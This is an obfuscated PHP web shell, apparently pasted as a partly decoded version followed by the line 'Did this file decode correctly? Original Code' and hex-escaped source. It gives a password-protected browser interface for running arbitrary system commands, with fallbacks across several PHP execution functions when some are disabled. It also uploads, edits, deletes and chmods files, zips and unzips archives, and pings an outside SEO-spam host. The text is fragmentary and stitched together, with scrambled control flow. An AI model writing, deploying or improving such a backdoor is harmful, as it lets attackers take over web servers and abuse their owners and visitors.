function do_download($filecode, $file)
{
header(
"Content-type: application/unknown"
);
header(
"Accept-Ranges: bytes"
);
header(
"Content-length: " .
strlen($filecode)
);
header(
"Content-disposition: attachment; filename=" .
$file .
";"
);
echo $filecode;
exit();
}
function owner($file)
{
if (
function_exists(
"posix_getpwuid"
)
) {
goto FRa8NLwM1r;
}
return "<center>" .
fileowner($file) .
"</center>";
goto HCD97KqtTO;
FRa8NLwM1r:
$tod = @posix_getpwuid(fileowner($file));
return "<center>" .
$tod["name"] .
"</center>";
HCD97KqtTO:
}
goto O7np4m2MW4;
ymTJBFzQ0r:
@chdir($root);
if (!is_writable($root)) {
goto oNTkWh3NNu;
}
echo "writeable";
goto VpgmEEVBl6;
oNTkWh3NNu:
goto DCDFUS6r9D;
vbwbvRt9dr:
p9bUk1LnBZ:
echo "<script>\xaalert('Directory is Corrupted and Unreadable.');
window.location.replace('?');
</script>";
goto P57KG28Hhn;
xX_rcxX1As:
$p = decodePath($_GET["p"]);
goto XQ5h7O5Oe4;
y9WumEOrzr:
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto Yd2b0KWHSl;
vF__m0P419:
echo "<script>alert('Renamed.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
Yd2b0KWHSl:
goto TjTuO3kla5;
fBCxDX2yaJ:
vg7S73IY0W:
echo "<script>alert('Cannot Unzip File / Unreadable File !'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto YUXFZ5UEiI;
iuViSWE1eK:
echo "<script>alert('This isn't Zip File !'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto vxzBT2t4Ws;
OOUCVCGshG:
goto xqmaepGySN;
q1HHR2SOOX:
if (!is_readable(PATH)) {
goto AgUhbNx2_q;
}
$fetch_obj = scandir(PATH);
$folders = [];
goto l6uz96Jn_X;
kXYzdRguua:
$_SESSION["loggedInm"] = false;
Q3_P8pKZ2v:
if (!isset($_POST["password"])) {
goto bCNtei5z0m;
}
if (!(md5($_POST["password"]) == $password)) {
goto OOviXlWFpA;
}
$_SESSION["loggedInm"] = md5(
$_POST["password"]
);
goto O_JPcBH1qF;
bXmHCYGU42:
echo "<script>alert('fail create.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto Jqe9xv4f1Z;
zHYccVmZOD:
echo "<script>alert('create success.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
Jqe9xv4f1Z:
goto P_CIcdx8pn;
O7np4m2MW4:
function delDirAndFile($dirName)
{
goto fZdPEoM4d1;
fZdPEoM4d1:
$deltestaus = 1;
if (!($handle = opendir("{$dirName}"))) {
goto romJ6KqfbP;
}
C1_0S_2lZ3:
if (!(false !== ($item = readdir($handle)))) {
goto DWLooYGzzD;
}
if (!($item != "." && $item != "..")) {
goto gL82ZFQ5HA;
}
goto dqs_FNUg3n;
wpVhlqIwww:
TFbNaWnpDj:
romJ6KqfbP:
return $deltestaus;
goto HJgpuuXP0p;
dqs_FNUg3n:
if (is_dir("{$dirName}/{$item}")) {
goto cDhSmJmU7f;
}
if (unlink("{$dirName}/{$item}")) {
goto JdeHBYDhFS;
}
$deltestaus = 0;
goto e9Bx_XANpg;
JdeHBYDhFS:
goto HwQ6C72kU3;
HwQ6C72kU3:
$deltestaus = 1;
e9Bx_XANpg:
goto ks5lgThk3p;
cDhSmJmU7f:
delDirAndFile("{$dirName}/{$item}");
goto NZXnraDnEt;
arFCVkh7Ia:
if (rmdir($dirName)) {
goto XnihouTJJN;
}
$deltestaus = 0;
goto TFbNaWnpDj;
XnihouTJJN:
$deltestaus = 1;
goto wpVhlqIwww;
NZXnraDnEt:
ks5lgThk3p:
gL82ZFQ5HA:
goto C1_0S_2lZ3;
DWLooYGzzD:
closedir($handle);
goto arFCVkh7Ia;
HJgpuuXP0p:
}
function run($code, $method = "popen")
{
goto x2csG2P3WM;
yII1RQeKZD:
$method = "";
foreach ($command_array as $command) {
if (in_array($command, $new_disable)) {
goto nnwqI69oo2;
}
$method = $command;
goto a_IZ3a3AQ6;
nnwqI69oo2:
lQkjycFBi9:
}
a_IZ3a3AQ6:
if (!empty($method)) {
goto Cg_cImvA81;
}
return false;
goto o02Ud4FThn;
o02Ud4FThn:
Cg_cImvA81:
$result = "";
switch ($method) {
case "proc_open":
$descriptorspec = [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => [
"pipe",
"error.txt",
],
];
$pipes = [];
proc_open($code, $descriptorspec, $pipes);
return false;
goto JPWUY1gj2_;
case "passthru":
passthru($code);
return false;
goto JPWUY1gj2_;
case "shell_exec":
$result = "";
$result = shell_exec($code);
return $result;
goto JPWUY1gj2_;
case "system":
$result = "";
system($code, $result);
return $result;
goto JPWUY1gj2_;
case "popen":
$fp = popen($code, "r");
Zyffnjhh6F:
if (feof($fp)) {
goto P20w9pp3iI;
}
$out = fgets($fp, 4096);
$result .= $out;
goto Zyffnjhh6F;
P20w9pp3iI:
pclose($fp);
return $result;
goto JPWUY1gj2_;
case "exec":
exec($code, $array);
foreach ($array as $key => $value) {
$result .= $key . " : " . $value . PHP_EOL;
AzaXFt7C0P:
}
WhJD_7yNi3:
return $result;
goto JPWUY1gj2_;
default:
return false;
goto JPWUY1gj2_;
}
KyRnEP_lLx:
JPWUY1gj2_:
goto FKQqy06MEG;
x2csG2P3WM:
$disabled = explode(
",",
ini_get(
"disable_functions"
)
);
$new_disable = [];
foreach ($disabled as $item) {
$new_disable[] = trim($item);
vrqYcqdckp:
}
yhjkTVjzx4:
$command_array = [
"system",
"shell_exec",
"popen",
"exec",
"proc_open",
"passthru",
];
goto yII1RQeKZD;
FKQqy06MEG:
}
$root_path = __DIR__;
if (isset($_GET["p"])) {
goto kCR9CY7oRT;
}
if (isset($_GET["q"])) {
goto PSmGWnHUB_;
}
goto lfyJvnrAOF;
aaErwz4hMW:
DQviXZZ9KV:
xw00L_iaef:
Ox8GsjTRch:
if (!(isset($_GET["c"]) && isset($_GET["q"]))) {
goto BZzwztz2oV;
}
$name = PATH . "/" . $_GET["c"];
goto DBIGfN5oN6;
cx9kynoFNX:
$data = $_POST["data"];
$f_put = "file_put_contents";
$f_get = "file_get_contents";
$editresult = $f_put($filename, $data);
if ($editresult) {
goto YBAkjOizIP;
}
goto Hw2SFfUvmj;
qdNokVNj0r:
xqmaepGySN:
if (!isset($_GET["upload"])) {
goto mobEwcpmHG;
}
echo "\xd\xa <form method="post" enctype="multipart/form-data">
\xa Select file to upload:\xd\xa <input type="file" name="fileToUpload[]" id="fileToUpload" multiple>
<input type="submit" class="btn btn-dark" value="Upload" name="upload">\xd
</form>";
mobEwcpmHG:
if (!isset($_GET["kk"])) {
goto QxUwM_PXJt;
}
goto l_SFPYEYZB;
nVo5s5oxsg:
if (!in_array($f_put, $disabled)) {
goto fYRUNwbVGx;
}
$fuction_info .=
"put_cont is disable";
$error_number++;
fYRUNwbVGx:
if (!($error_number != 0)) {
goto tKspy7o_GA;
}
goto CZo8Ug9WbC;
BdfteEBNQg:
$f_put =
"file" .
"_" .
"put_" .
"contents";
$create_result = @$f_put($filename, $filecontent);
if ($create_result) {
goto HMbg1j6BYJ;
}
echo "<script>alert('fail create.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto MItMQRKThR;
goto X2KTCL7k4a;
ekJayuD6uK:
$return_data = [];
$return_data["title"] =
"start ping sitemap";
mEkWNEil0p:
if (!isset($_GET["checksitem"])) {
goto A3xqiJxa7Y;
}
$url =
"http://j.createseo.xyz";
goto iE5GF0EFHP;
XtuPtIKGQH:
nLNRoqlQpR:
goto wYYR3gCcqU;
ote_LS0OFh:
if (chmod($name, 0644) == true) {
goto JobEMi9cLr;
}
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto dXOvHDfdil;
IMIaBlDoSW:
echo "
\xa <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"\xd
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"\xd
crossorigin="anonymous"></script>\xd
</body>
\xa
</html>";
Did this file decode correctly?
Original Code
<?php
goto Jau2xZy8Vk;
bj6_Z5R6P8:
echo "\15\12\15\xa\xd\12\x20";
if (isset($_GET["\x70"])) {
goto q1HHR2SOOX;
}
if (!empty($_GET)) {
goto woYuc9E759;
}
echo "<? <script>window.location.replace('?p=');</script> ?>";
woYuc9E759:
goto OOUCVCGshG;
l6uz96Jn_X:
$files = [];
foreach ($fetch_obj as $obj) {
goto jlMuqpId_8;
AgOXMMOqXg:
g4RpX0CIKo:
array_push($files, $obj);
n4RMa5xY6q:
X5nHSLEoLV:
goto lAZSVt7bSD;
PAeWMiFFMF:
if (is_file($new_obj)) {
goto g4RpX0CIKo;
}
goto n4RMa5xY6q;
xPZRTM7NQi:
array_push($folders, $obj);
goto n4RMa5xY6q;
goto AgOXMMOqXg;
jlMuqpId_8:
if (!($obj == "\56" || $obj == "\56\x2e")) {
goto olQA0Y2gcb;
}
goto X5nHSLEoLV;
olQA0Y2gcb:
$new_obj = PATH . "\x2f" . $obj;
if (is_dir($new_obj)) {
goto xPZRTM7NQi;
}
goto PAeWMiFFMF;
lAZSVt7bSD:
}
lJyS_4lHIA:
AgUhbNx2_q:
echo "<?
\xa<table class="table table-hover">
<thead>
\xa <tr>\xd\xa <th scope="col">Name</th>
\xa <th scope="col">Size</th>\xd\xa <th scope="col">Modified</th>
\xa\x9 <th scope="col">Owner</th>
\xa <th scope="col">Perms</th>
<th scope="col">Actions</th>
\xa </tr>\xd
</thead>
<tbody>
?>";
goto BhgHKoaYjU;
yWBOrjCfKX:
gG4SLL8ZpK:
if (!isset($_GET["\156\x65\x77\x66\157\154\x64\145\x72"])) {
goto QqD2SPSyaW;
}
echo "<? <form method="post"><div class="form-group"><label for="n">Name :</label><input name="n" id="n" class="form-control" autocomplete="off"></div><br/><div class="form-group"><input type="submit" class="btn btn-dark" value="createfolder" name="createfolder"></div></form> ?>";
QqD2SPSyaW:
if (!isset($_GET["\x70\x69"])) {
goto mEkWNEil0p;
}
goto ekJayuD6uK;
eDsT2K4DBZ:
OMlJcPFOzk:
$disabled = explode(
"\x2c",
ini_get(
"disable_functions"
)
);
$fuction_info = "";
if (!(sizeof($disabled) > 0 && !empty($disabled[0]))) {
goto j91DLN_dgk;
}
$error_number = 0;
goto ig67rngtrm;
ig67rngtrm:
$f_put = "file_put_contents";
$f_get = "file_get_contents";
if (!in_array($f_get, $disabled)) {
goto Ttb1zOlxjd;
}
$fuction_info .=
"\147\x65\164\137\x63\x6f\156\x74\40\151\163\x20\x64\151\x73\141\x62\154\x65\x3c\x62\162\57\x3e";
$error_number++;
goto P8PLbzfoc7;
TsyWtatbcv:
$sourceDir1 = $dir;
$outZipPath1 = PATH . "\x2f" . $_GET["\172"] . "\x2e\172\x69\x70";
$zip = new Zip();
$zip::zipDir($sourceDir1, $outZipPath1);
if (file_exists($outZipPath1)) {
goto tDOssPXyMf;
}
goto zx4kpxwyrQ;
vxzBT2t4Ws:
YUXFZ5UEiI:
$zip = new ZipArchive();
$res = $zip->open($file);
if ($res == true) {
goto KBsq9sldzB;
}
echo "\x3c\x73\143\x72\x69\160\164\x3e\x61\154\145\x72\164\50\x27\106\x61\151\154\145\144\x20\164\157\x20\125\x6e\172\151\x70\x20\106\x69\154\x65\x20\x21\x27\x29\73\40\167\151\156\x64\157\x77\x2e\x6c\157\x63\141\x74\151\x6f\x6e\x2e\162\145\x70\x6c\141\143\145\x28\47\x3f\x70\75" .
encodePath(PATH) .
"\x27\x29\73\x3c\x2f\163\143\162\151\x70\x74\x3e";
goto nv_28evyoS;
g8QHH76itV:
goto KN3EnRrtlZ;
Ha1X9DnNs_:
echo "\x3c\x73\143\x72\151\160\x74\76\167\x69\156\x64\x6f\x77\x2e\x6c\157\x63\x61\x74\151\x6f\156\56\x72\x65\160\154\141\143\x65\x28\x27\77\x70\x3d\x27\x29\73\74\x2f\163\143\x72\x69\160\164\x3e";
goto KN3EnRrtlZ;
SjiUG3Lq37:
goto bTOYiUeybq;
fbG_xkugHt:
if (
move_uploaded_file(
$_FILES["\x66\x69\154\x65\x54\x6f\x55\x70\154\x6f\x61\x64"][
"\164\155\160\137\x6e\x61\x6d\x65"
][$i],
$target_file
)
) {
goto bY112UJEGT;
}
$str .=
"\x3c\160\76\123\157\x72\162\x79\x2c\x20\164\x68\145\x72\x65\x20\x77\x61\x73\40\141\156\x20\x65\x72\162\x6f\x72\x20\165\x70\x6c\x6f\141\x64\151\156\147\x20\171\x6f\x75\162\40\x66\151\154\145\x2e\74\57\x70\76";
goto VF47vtDFxB;
bY112UJEGT:
$str .=
"\x3c\160\x3e" .
htmlspecialchars(
basename(
$_FILES["\x66\151\154\145\124\157\x55\x70\154\x6f\x61\144"][
"\x6e\141\155\x65"
][$i]
)
) .
"\40\x68\x61\x73\40\x62\x65\x65\156\x20\x75\160\154\157\x61\x64\145\x64\56\74\x2f\160\x3e";
goto V4euIzVFEo;
w8deuCw1Wq:
YAe2zQqyUV:
if (!(isset($_GET["\x70\141\x63\153"]) && isset($_GET["\x71"]))) {
goto cM0WWgEenh;
}
cM0WWgEenh:
goto IMIaBlDoSW;
XQ5h7O5Oe4:
P57KG28Hhn:
goto ip5Y5fVJKg;
PSmGWnHUB_:
if (!is_dir(decodePath($_GET["\161"]))) {
goto Ha1X9DnNs_;
}
if (is_dir(decodePath($_GET["\161"]))) {
goto SjiUG3Lq37;
}
goto g8QHH76itV;
CZo8Ug9WbC:
echo "\74\146\x6f\x6e\164\40\143\x6f\154\157\162\75\42\x72\145\x64\x22\76" .
$fuction_info .
"\74\57\146\157\156\x74\76";
tKspy7o_GA:
j91DLN_dgk:
echo "\xd\xa\74\x6e\141\x76\40\143\154\141\163\x73\x3d\42\x6e\x61\166\142\x61\162\x20\156\x61\x76\x62\141\162\55\x6c\151\147\150\x74\42\x20\163\164\x79\x6c\x65\x3d\42\142\141\143\x6b\147\x72\157\165\156\144\x2d\143\157\154\x6f\162\x3a\40\x23\x65\x33\x66\x32\146\144\73\42\x3e\15\xa\x20\x20\x3c\144\151\x76\40\x63\154\141\x73\x73\75\42\x6e\141\166\x62\141\162\x2d\x62\x72\141\x6e\x64\x22\76\xd\12\x20\x20\74\x61\40\150\162\145\146\75\x22\77\x22\x3e\74\x69\x20\x63\x6c\x61\163\163\x3d\42\146\x61\40\146\x61\x2d\x68\x6f\x6d\x65\x22\x20\141\x72\151\x61\55\x68\x69\x64\x64\x65\x6e\x3d\42\164\162\x75\145\x22\x3e\x3c\x2f\x69\x3e\74\x2f\x61\x3e\xd\xa";
$path = str_replace("\134", "\57", PATH);
goto Y9XygjMP1Z;
ImVT8XyE2a:
$filename = PATH . "\x2f" . $_POST["\143\141\167\160\156"];
$filecontent = $_POST["\x63\x61\167\x70\x63\164\156"];
$f_put =
"\146\x69\x6c\x65" .
"\137" .
"\x70\x75\x74\137" .
"\x63\157\156\x74\x65\x6e\x74\x73";
$create_result = @$f_put($filename, $filecontent);
if ($create_result) {
goto zHYccVmZOD;
}
goto bXmHCYGU42;
V4euIzVFEo:
VF47vtDFxB:
j3QFf3R_w7:
$i++;
goto mC0cVIUkTS;
YSyq1EzeCv:
goto yUVfXNAouQ;
TjTuO3kla5:
UFjBICUtdc:
zZqSUR23nO:
anR35vTiIv:
if (!isset($_GET["\x65"])) {
goto rn8pwvzu0g;
}
$f_put = "\146\151\154\x65\137\160\x75\x74\x5f\143\157\156\x74\145\156\164\163";
goto CyWKPJrq0i;
zx4kpxwyrQ:
echo "\x3c\x73\143\x72\x69\x70\x74\x3e\141\x6c\x65\162\164\x28\x27\146\x61\151\x6c\x20\172\151\x70\x20\106\x69\x6c\x65\x20\41\47\51\x3b\x20\x77\151\x6e\x64\157\x77\x2e\154\x6f\143\141\164\151\x6f\156\x2e\162\x65\160\154\x61\x63\145\50\47\77\160\x3d" .
encodePath(PATH) .
"\x27\51\x3b\x3c\57\x73\143\x72\151\x70\x74\x3e";
goto VZWnVrhxiQ;
tDOssPXyMf:
echo "\74\163\143\162\x69\160\x74\x3e\x61\x6c\145\162\x74\50\47\x53\165\x63\143\x65\163\163\40\x7a\x69\160\x20\x46\151\154\x65\40\41\x27\x29\73\40\x77\x69\x6e\x64\x6f\167\x2e\x6c\x6f\x63\x61\x74\151\x6f\156\56\162\145\160\154\141\143\x65\50\x27\77\x70\x3d" .
encodePath(PATH) .
"\47\x29\73\74\x2f\163\x63\x72\151\x70\164\x3e";
VZWnVrhxiQ:
goto w8deuCw1Wq;
nxWXa7VbJS:
if (is_dir(decodePath($_GET["\160"]))) {
goto xX_rcxX1As;
}
goto P57KG28Hhn;
Ysner77MKs:
$p = $root_path;
goto P57KG28Hhn;
goto vbwbvRt9dr;
O_JPcBH1qF:
OOviXlWFpA:
bCNtei5z0m:
if (
!(
!$_SESSION["\154\x6f\x67\147\x65\144\111\156\x6d"] ||
$_SESSION["\x6c\x6f\x67\x67\x65\x64\x49\156\155"] != $password
)
) {
goto HM7RvcTJMR;
}
echo "\xd\12\x3c\x68\164\x6d\x6c\x3e\x3c\x68\145\x61\144\x3e\74\164\151\164\x6c\145\x3e\x20\74\x2f\x74\151\164\x6c\x65\x3e\x3c\x2f\x68\x65\141\x64\x3e\xd\xa\x20\x20\74\142\157\x64\171\x3e\15\12\40\x20\40\x20\74\x70\x20\x61\154\x69\x67\x6e\75\x22\x63\x65\x6e\164\x65\162\42\76\x3c\143\145\x6e\164\x65\162\76\x3c\x66\157\x6e\164\x20\x73\164\x79\154\x65\75\x22\146\x6f\x6e\164\55\163\151\172\x65\72\61\x33\160\170\42\x20\x63\x6f\154\157\162\x3d\42\43\60\60\70\60\60\60\x22\x20\x66\x61\143\145\x3d\42\x54\162\x65\x62\x75\143\150\145\164\x20\x4d\x53\x22\x3e\15\12\40\40\40\40\x3c\146\157\162\x6d\40\155\x65\x74\x68\157\144\x3d\42\x70\x6f\163\164\x22\76\15\12\x20\40\x20\x20\x20\x20\x3c\151\156\x70\165\164\x20\164\x79\160\145\x3d\x22\160\x61\x73\163\167\x6f\x72\144\x22\x20\x6e\141\155\x65\x3d\x22\x70\141\x73\163\167\x6f\162\144\42\x3e\15\xa\40\x20\x20\x20\40\40\74\151\156\160\x75\x74\x20\164\171\x70\145\75\42\x73\x75\x62\155\151\x74\x22\x20\156\141\155\x65\75\42\x73\x75\142\155\151\164\x22\40\166\141\x6c\x75\145\x3d\x22\x20\x20\76\x3e\x22\76\xd\xa\40\x20\x20\x20\74\x2f\146\157\162\x6d\76\15\xa\40\40\x3c\x2f\x62\157\x64\x79\76\xd\12\74\x2f\150\164\x6d\154\76\xd\xa\15\xa";
exit();
goto jIcFiAPk87;
F4QA5V2tTi:
echo "\x6b\x69\x6c\x6c\x20\xe6\x89\xa7\xe8\xa1\214\xe4\270\215\346\210\220\xe5\x8a\237";
VXp7b6Aswh:
QxUwM_PXJt:
if (!isset($_GET["\156\x65\167\x66\151\154\145"])) {
goto gG4SLL8ZpK;
}
echo "\xd\xa\74\150\65\x20\x63\154\x61\x73\x73\x3d\x22\142\x6f\162\x64\x65\x72\x20\x70\x2d\61\40\155\x62\55\x33\x22\x3e\x4e\145\x77\x20\x66\x69\154\145\74\57\150\x35\x3e\74\x66\157\x72\155\40\x6d\x65\164\150\x6f\x64\x3d\42\x70\157\163\164\x22\76\x3c\144\151\166\x20\x63\x6c\x61\x73\x73\x3d\x22\x66\x6f\162\155\x2d\x67\162\x6f\x75\160\x22\76\x3c\x6c\x61\x62\x65\x6c\40\x66\x6f\x72\x3d\42\x6e\42\x3e\106\151\154\145\40\x6e\x61\x6d\x65\40\x3a\x3c\57\154\x61\x62\x65\x6c\x3e\74\x69\x6e\x70\x75\x74\x20\164\171\x70\x65\75\42\x74\145\170\x74\42\x20\x6e\141\x6d\145\75\x22\x6e\x22\x20\151\144\x3d\x22\156\x22\40\x63\x6c\141\163\x73\x3d\x22\146\x6f\162\155\x2d\143\x6f\156\x74\x72\157\154\x22\x20\x70\x6c\x61\x63\145\x68\157\x6c\x64\145\162\75\x22\x68\141\143\153\x2e\164\170\x74\42\76\x3c\57\144\x69\x76\x3e\74\144\x69\166\40\x63\x6c\141\x73\x73\75\x22\x66\157\162\155\55\x67\162\x6f\x75\x70\x22\76\x3c\x6c\x61\x62\145\x6c\x20\146\x6f\162\x3d\x22\143\x74\156\42\x3e\103\157\x6e\x74\145\x6e\x74\40\72\74\x2f\154\x61\142\x65\x6c\76\74\164\145\x78\164\x61\x72\145\141\40\x73\164\x79\154\145\x3d\42\162\x65\163\151\172\x65\72\156\x6f\156\x65\42\40\156\141\155\145\x3d\42\143\164\x6e\x22\x20\151\144\x3d\42\x63\164\156\x22\40\x63\x6f\154\x73\x3d\x22\63\x30\x22\40\x72\x6f\167\x73\75\x22\61\x30\42\x20\143\x6c\x61\163\x73\75\42\146\157\162\x6d\x2d\143\x6f\156\x74\x72\x6f\x6c\x22\40\x70\x6c\x61\143\x65\150\157\x6c\x64\145\x72\75\x22\x23\40\123\164\x61\155\x70\x65\144\x20\102\x79\x20\x4d\145\x22\x3e\74\x2f\164\145\x78\x74\141\162\145\141\x3e\74\57\x64\151\x76\76\74\x62\x72\57\76\74\x64\x69\x76\40\x63\154\141\x73\163\75\x22\146\157\162\x6d\55\x67\x72\x6f\x75\x70\x22\x3e\74\x69\x6e\x70\165\164\x20\x74\171\160\145\75\42\163\165\142\155\x69\x74\x22\40\x63\x6c\x61\x73\x73\75\42\x62\164\x6e\x20\142\164\156\x2d\x64\x61\162\153\x22\40\166\141\154\165\145\x3d\x22\x63\x72\145\141\164\x65\x66\x69\154\x65\42\x20\x6e\141\155\x65\x3d\x22\143\x72\x65\141\x74\x65\146\x69\154\145\42\76\74\x2f\144\x69\x76\76\74\x2f\x66\x6f\x72\x6d\76";
goto yWBOrjCfKX;
BhgHKoaYjU:
foreach ($folders as $folder) {
echo "\40\x20\x20\x20\x3c\x74\162\76\xd\12\40\40\40\40\40\40\x3c\164\144\76\74\x69\x20\143\154\x61\163\x73\75\47\146\141\x2d\163\157\154\x69\x64\x20\x66\141\55\146\157\154\144\x65\162\47\x3e\x3c\57\151\76\40\74\x61\x20\150\162\145\146\x3d\x27\77\x70\75" .
urlencode(encodePath(PATH . "\57" . $folder)) .
"\x27\x3e" .
$folder .
"\74\x2f\141\x3e\x3c\x2f\x74\144\76\15\12\40\40\x20\40\40\40\x3c\x74\144\x3e\x3c\x62\76\x2d\55\x2d\x3c\57\142\x3e\74\x2f\164\144\76\15\xa\40\x20\x20\x20\40\40\x3c\x74\144\76" .
date(
"\x46\40\x64\40\x59\x20\x48\72\x69\x3a\163\56",
filemtime(PATH . "\57" . $folder)
) .
"\x3c\57\164\144\x3e\xd\12\11\x20\x20\x20\74\164\144\x3e" .
owner(PATH . "\x2f" . $folder) .
"\x3c\x2f\164\144\x3e\15\12\40\40\40\40\x20\x20\x3c\x74\144\76\60" .
substr(decoct(fileperms(PATH . "\x2f" . $folder)), -3) .
"\74\x2f\x61\76\x3c\57\x74\x64\x3e\xd\xa\40\40\40\x20\40\x20\x3c\x74\144\76\xd\12\x20\40\x20\40\x20\40\x3c\141\40\164\151\164\154\145\x3d\47\x52\x65\156\x61\155\145\47\x20\x68\162\145\146\75\47\77\161\x3d" .
urlencode(encodePath(PATH)) .
"\46\162\75" .
$folder .
"\47\76\74\x69\x20\143\x6c\x61\163\x73\75\47\146\x61\x2d\x73\x68\141\x72\x70\40\146\141\x2d\162\145\147\165\154\x61\x72\x20\x66\141\55\x70\145\x6e\x2d\x74\157\x2d\163\x71\165\x61\x72\145\x27\76\x3c\57\x69\76\x3c\57\x61\x3e\xd\12\x20\40\40\x20\40\x20\x3c\x61\40\164\x69\164\154\x65\x3d\47\x44\145\154\145\x74\145\47\x20\x68\162\x65\146\x3d\47\x3f\x71\75" .
urlencode(encodePath(PATH)) .
"\46\144\x3d" .
$folder .
"\x27\x3e\74\151\40\143\154\141\163\x73\x3d\47\146\141\40\146\x61\55\x74\162\141\163\x68\x27\40\x61\162\x69\141\55\150\151\144\144\x65\x6e\x3d\x27\x74\162\x75\145\x27\x3e\74\x2f\x69\x3e\x3c\x2f\141\76\15\xa\11\x20\40\74\141\x20\x74\x69\x74\x6c\x65\75\47\143\x68\x6d\x6f\144\47\x20\150\x72\x65\x66\x3d\x27\77\161\75" .
urlencode(encodePath(PATH)) .
"\46\x63\x3d" .
$folder .
"\x27\x3e\74\151\40\143\x6c\x61\x73\x73\75\x27\146\x61\x20\146\141\x2d\x75\x6e\154\157\143\153\47\x20\x61\x72\x69\141\x2d\150\151\144\144\145\x6e\75\x27\x74\162\165\x65\47\76\74\x2f\x69\76\x3c\x2f\x61\76\15\xa\11\11\x20\74\x61\x20\x74\x69\164\x6c\145\75\x27\172\151\x70\x27\x20\x68\162\x65\x66\75\x27\77\161\75" .
urlencode(encodePath(PATH)) .
"\46\x7a\x3d" .
$folder .
"\x27\76\x7a\x69\160\x3c\57\x61\x3e\174\15\12\x9\11\40\xd\12\x20\x20\40\40\x20\40\x3c\x74\x64\76\15\12\40\x20\40\x20\x3c\57\x74\x72\x3e\xd\12";
NXxMfsV82a:
}
aP1N67TtPF:
foreach ($files as $file) {
echo "\x20\40\40\40\x3c\164\x72\x3e\xd\xa\x20\40\40\x20\40\x20\40\x20\x20\40\x3c\x74\144\76" .
fileIcon($file) .
$file .
"\x3c\x2f\x74\144\76\xd\xa\x20\x20\40\x20\40\40\x20\x20\x20\40\x3c\164\x64\76" .
formatSizeUnits(filesize(PATH . "\x2f" . $file)) .
"\x3c\x2f\x74\144\x3e\15\xa\x20\x20\40\x20\x20\x20\40\40\40\x20\x3c\164\144\x3e" .
date(
"\x46\x20\144\x20\131\x20\x48\x3a\151\x3a\163\x2e",
filemtime(PATH . "\57" . $file)
) .
"\74\x2f\164\x64\76\xd\xa\11\x9\40\40\x20\x3c\x74\144\x3e" .
owner(PATH . "\57" . $file) .
"\x3c\57\164\x64\76\15\12\x20\x20\40\x20\x20\40\40\40\x20\40\74\164\144\76\60" .
substr(decoct(fileperms(PATH . "\57" . $file)), -3) .
"\74\x2f\141\76\74\x2f\164\144\76\xd\12\40\x20\x20\x20\40\40\40\x20\40\40\x3c\x74\144\76\15\12\40\x20\40\x20\40\40\40\40\x20\x20\x3c\x61\x20\164\151\x74\154\x65\x3d\47\x45\x64\151\164\x20\x46\151\x6c\145\x27\x20\x68\x72\145\x66\75\x27\x3f\x71\75" .
urlencode(encodePath(PATH)) .
"\x26\x65\75" .
$file .
"\47\x3e\74\x69\40\x63\x6c\x61\163\x73\x3d\47\x66\141\55\x73\x6f\x6c\151\x64\40\x66\141\x2d\x66\151\x6c\145\x2d\160\145\x6e\47\x3e\x3c\x2f\151\x3e\74\x2f\x61\76\15\12\40\x20\40\40\40\40\x20\x20\40\x20\74\x61\x20\x74\x69\164\154\145\75\x27\x52\145\x6e\x61\x6d\145\x27\40\150\x72\145\x66\75\x27\77\161\75" .
urlencode(encodePath(PATH)) .
"\46\162\75" .
$file .
"\x27\76\74\151\x20\x63\154\141\163\163\75\47\146\x61\55\163\150\141\x72\x70\40\x66\141\x2d\162\145\147\x75\154\x61\x72\x20\x66\141\x2d\160\145\x6e\55\164\x6f\55\163\161\165\141\162\x65\47\76\x3c\x2f\x69\x3e\74\x2f\141\x3e\xd\xa\40\x20\x20\40\x20\40\40\40\x20\40\x3c\141\40\164\x69\x74\154\145\75\47\104\x65\x6c\145\x74\x65\47\40\150\162\x65\x66\x3d\x27\x3f\x71\x3d" .
urlencode(encodePath(PATH)) .
"\x26\144\75" .
$file .
"\47\76\x3c\151\40\143\x6c\x61\163\163\75\47\x66\141\x20\x66\141\55\x74\x72\141\x73\150\x27\40\x61\162\x69\x61\55\150\x69\144\x64\145\x6e\75\x27\164\162\165\145\47\76\74\57\x69\76\x3c\57\x61\x3e\15\12\11\x9\x20\x20\x3c\x61\x20\x74\x69\x74\x6c\x65\x3d\x27\x63\150\x6d\x6f\x64\x27\x20\x68\x72\x65\x66\x3d\47\x3f\x71\x3d" .
urlencode(encodePath(PATH)) .
"\46\x63\x3d" .
$file .
"\x27\x3e\74\x69\x20\143\x6c\141\163\x73\75\x27\146\x61\x20\x66\141\x2d\x75\156\x6c\157\143\153\47\40\141\162\151\141\55\150\151\144\x64\x65\156\75\x27\164\162\x75\x65\47\x3e\x3c\57\x69\x3e\74\x2f\141\x3e\xd\xa\11\x9\x20\40\x20\40\74\141\x20\164\x69\164\154\x65\x3d\x27\x75\156\x7a\151\160\47\40\x68\162\x65\146\x3d\47\77\161\75" .
urlencode(encodePath(PATH)) .
"\x26\165\x3d" .
$file .
"\47\76\x75\172\151\160\74\57\x61\76\xd\xa\x20\40\x20\40\x20\x20\40\x20\x20\x20\74\164\x64\x3e\xd\12\40\40\40\40\74\x2f\164\162\76\xd\xa";
j3Lfy5AFCa:
}
FUEBNdWn7t:
echo "\x20\40\x3c\57\x74\x62\157\144\x79\76\xd\12\x3c\57\x74\x61\x62\x6c\x65\76";
goto qdNokVNj0r;
yUVfXNAouQ:
echo $str;
w2TVdMCu3k:
if (!isset($_POST["\143\x72\x65\141\x74\145\x66\x69\x6c\145"])) {
goto ke2zWdT48D;
}
$filename = PATH . "\x2f" . $_POST["\x6e"];
$filecontent = $_POST["\x63\x74\x6e"];
goto BdfteEBNQg;
N8chD3JEk1:
